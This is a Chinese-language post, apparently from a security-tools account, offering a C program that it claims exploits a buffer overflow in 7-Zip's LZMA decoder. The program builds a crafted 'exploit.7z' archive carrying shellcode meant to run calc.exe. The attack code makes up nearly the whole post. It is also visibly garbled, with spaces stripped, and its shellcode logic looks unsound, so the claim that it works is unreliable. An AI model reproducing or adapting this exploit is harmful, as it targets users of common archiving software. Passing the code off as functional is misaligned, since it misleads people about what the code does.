声明:该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。
// 此漏洞利用针对 7-Zip 软件的 LZMA 解码器中的漏洞。它使用带有格式错误的 LZMA 流的精心设计的 .7z 存档来触发 RC_NORM 函数中的缓冲区溢出条件。通过对齐偏移量和有效载荷,漏洞利用操纵内部缓冲区指针来执行 shellcode,从而导致任意代码执行。当受害者使用易受攻击的 7-Zip 版本(当前版本)打开/提取存档时,漏洞利用就会触发,执行启动 calc.exe 的有效载荷(您可以更改这一点)。
// 偏移量可能需要调整!!!
#include "LzmaEnc.h"#include "LzmaDec.h"#include "7z.h"#include "7zAlloc.h"#include "Xz.h"#include "XzEnc.h"#include "7zFile.h"#include "7zStream.h"#include "CpuArch.h"#include <stdio.h>#include <string.h>#include <stdlib.h>staticvoidWriteUInt32LE(unsignedchar*buf, UInt32value) {buf[0] = (Byte)(value&0xFF);buf[1] = (Byte)((value>>8) &0xFF);buf[2] = (Byte)((value>>16) &0xFF);buf[3] = (Byte)((value>>24) &0xFF);}staticvoidWriteUInt64LE(unsignedchar*buf, UInt64value) {buf[0] = (Byte)(value&0xFF);buf[1] = (Byte)((value>>8) &0xFF);buf[2] = (Byte)((value>>16) &0xFF);buf[3] = (Byte)((value>>24) &0xFF);buf[4] = (Byte)((value>>32) &0xFF);buf[5] = (Byte)((value>>40) &0xFF);buf[6] = (Byte)((value>>48) &0xFF);buf[7] = (Byte)((value>>56) &0xFF);}intmain() {unsignedcharshellcode[] = {0x55, 0x89, 0xE5, 0x83, 0xEC, 0x08, 0xC7, 0x04, 0x24,'c', 'a', 'l', 'c', 0x00, 0xCC, 0xCC, 0xCC, 0x89, 0xEC, 0x5D, 0xC3 };size_tshellcodeSize=sizeof(shellcode);UInt32addressOfSystemOffset=0x39;UInt32jmpOffset= (UInt32)((unsignedchar*)&system- ((unsignedchar*)shellcode+addressOfSystemOffset+4));WriteUInt32LE(shellcode+18, jmpOffset);unsignedcharmalicious_lzma_stream[] = {0x5D, 0x00, 0x00, 0x00, 0x01, 0x00,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };unsignedcharheader[] = {'7', 'z', 0xBC, 0xAF, 0x27, 0x1C, 0x00, 0x04, 0x03, 0x5B, 0xA8, 0x6F,0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };unsignedcharlzma_props[] = { 0x5D, 0x00, 0x00, 0x00, 0x01, 0x00 };size_tpayloadSize=sizeof(header) +sizeof(lzma_props) +sizeof(malicious_lzma_stream) +sizeof(shellcode);unsignedchar*payload= (unsignedchar*)malloc(payloadSize);unsignedchar*p=payload;memcpy(p, header, sizeof(header)); p+=sizeof(header);memcpy(p, lzma_props, sizeof(lzma_props)); p+=sizeof(lzma_props);memcpy(p, malicious_lzma_stream, sizeof(malicious_lzma_stream)); p+=sizeof(malicious_lzma_stream);memcpy(p, shellcode, sizeof(shellcode));FILE*f=fopen("exploit.7z", "wb");if (!f) {perror("Failed to create exploit.7z");return1; }fwrite(payload, 1, payloadSize, f);fclose(f);free(payload);return0;}
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...